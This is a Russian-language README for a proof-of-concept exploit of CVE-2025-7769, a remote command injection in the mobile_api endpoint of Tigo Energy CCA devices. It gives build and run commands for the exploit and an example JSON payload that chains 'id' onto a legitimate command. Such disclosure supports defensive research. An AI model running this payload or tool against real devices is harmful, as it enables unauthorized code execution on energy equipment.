CVE-2025-7769 – Удаленное внедрение команд в mobile_api

Описание :

Этот репозиторий содержит Proof‑of‑Concept (PoC) эксплойт для CVE‑2025‑7769, критической уязвимости удаленного внедрения команд, обнаруженной в устройствах Tigo Energy CCA, которые предоставляют эндпоинт /cgi-bin/mobile_api.

Уязвимость вызывается внедрением команд ОС через ключ JSON cmd, где нефильтрованные входные данные напрямую конкатенируются в системный вызов, что позволяет полностью удаленно выполнять код (RCE) на устройстве.

Ссылки :

• Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-7769

Использование :

gcc exploit.c argparse.c -o CVE-2025-7769 -lcurl
./CVE-2025-7769 -i 10.0.2.15 -p 80 -v
Замените 10.0.2.15 на IP цели.

Используйте -u http://target.com, если хотите указать полный базовый URL вместо IP/порта.

Пример полезной нагрузки :

{
  "cmd": "DEVICE_PING;id",
  "dev": 2,
  "ver": 1
}